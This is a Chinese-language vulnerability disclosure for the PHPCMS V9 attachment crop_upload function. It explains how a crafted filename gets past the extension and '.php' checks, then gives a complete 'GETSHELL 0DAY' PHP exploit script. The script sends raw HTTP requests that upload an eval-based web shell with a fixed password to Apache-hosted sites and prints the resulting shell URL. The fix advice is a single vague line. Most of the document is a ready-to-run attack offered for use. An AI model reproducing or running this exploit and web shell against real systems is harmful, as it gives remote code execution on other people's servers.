漏洞 文件：phpcms\modules\attachment\attachments.php
public function crop_upload() {
if (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {
$pic = $GLOBALS["HTTP_RAW_POST_DATA"];
if (isset($_GET['width']) && !empty($_GET['width'])) {
$width = intval($_GET['width']);
}
if (isset($_GET['height']) && !empty($_GET['height'])) {
$height = intval($_GET['height']);
}
if (isset($_GET['file']) && !empty($_GET['file'])) {
$_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键
if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {
$file = $_GET['file'];
$basename = basename($file);//获取带有后缀的文件名
if (strpos($basename, 'thumb_')!==false) {
$file_arr = explode('_', $basename);
$basename = array_pop($file_arr);
}
$new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;
} else {
pc_base::load_sys_class('attachment','',0);
$module = trim($_GET['module']);
$catid = intval($_GET['catid']);
$siteid = $this->get_siteid();
$attachment = new attachment($module, $catid, $siteid);
$uploadedfile['filename'] = basename($_GET['file']);
$uploadedfile['fileext'] = fileext($_GET['file']);
if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {
$uploadedfile['isimage'] = 1;
}
$file_path = $this->upload_path.date('Y/md/');
pc_base::load_sys_func('dir');
dir_create($file_path);
$new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];
$uploadedfile['filepath'] = date('Y/md/').$new_file;
$aid = $attachment->add($uploadedfile);
}
$filepath = date('Y/md/');
file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控
} else {
return false;
}
echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;
exit;
}
}
后缀检测：phpcms\modules\attachment\functions\global.func.php
function is_image($file) {
$ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');
$ext = fileext($file);关键地方
return in_array($ext,$ext_arr) ? $ext_arr :false;
}
关键函数: www.2cto.com
function fileext($filename) {
return strtolower(trim(substr(strrchr($filename, '.'), 1, 10)));
}
Fileext函数是对文件后缀名的提取。
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
经过此函数提取到的后缀还是jpg，因此正在is_image()函数中后缀检测被绕过了。
我们回到public function crop_upload() 函数中
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
在经过了is_image的判断之后又来了个.php的判断，在此程序员使用的是strpos函数
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀，大家应该明白了，它用在apache搭建的服务器上可以被解析。
exp:
<?php
error_reporting(E_ERROR);
set_time_limit(0);
$pass="ln";
print_r('
+---------------------------------------------------------------------------+
PHP Cms V9 GETSHELL 0DAY
code by L.N.
apache 适用(利用的apache的解析漏洞)
+---------------------------------------------------------------------------+
');
if ($argc < 2) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url path
Example:
1.php '.$argv[0].' lanu.sinaapp.com
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
+---------------------------------------------------------------------------+
');
exit;
}
$url = $argv[1];
$path = $argv[2];
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
if($ret=Create_dir($url,$path))
{
//echo $ret;
$pattern = "|Server:[^,]+?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
if(strpos($matches[0][0],'Apache') == false)
{
echo "\n亲！此网站不是apache的网站。\n";exit;
}
}
$ret = GetShell($url,$phpshell,$path,$file);
$pattern = "|http:\/\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
preg_match_all($pattern, $ret, $matches);
if($matches[0][0])
{
echo "\n".'密码为: '.$pass."\n";
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
}
else
{
echo "\r\n没得到！\n";exit;
}
}
}
function GetShell($url,$shell,$path,$js)
{
$content =$shell;
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/ html ,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
else
{
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
}
function Create_dir($url,$path='')
{
$content ='I love you';
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
$data .= "Host: ".$url."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
$data .= "Connection: close\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($url,80);
if (!$ock)
{
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
}
fwrite($ock,$data);
$resp = '';
while (!feof($ock))
{
$resp.=fread($ock, 1024);
}
return $resp;
}
?>
修复方案： 过滤过滤再过滤
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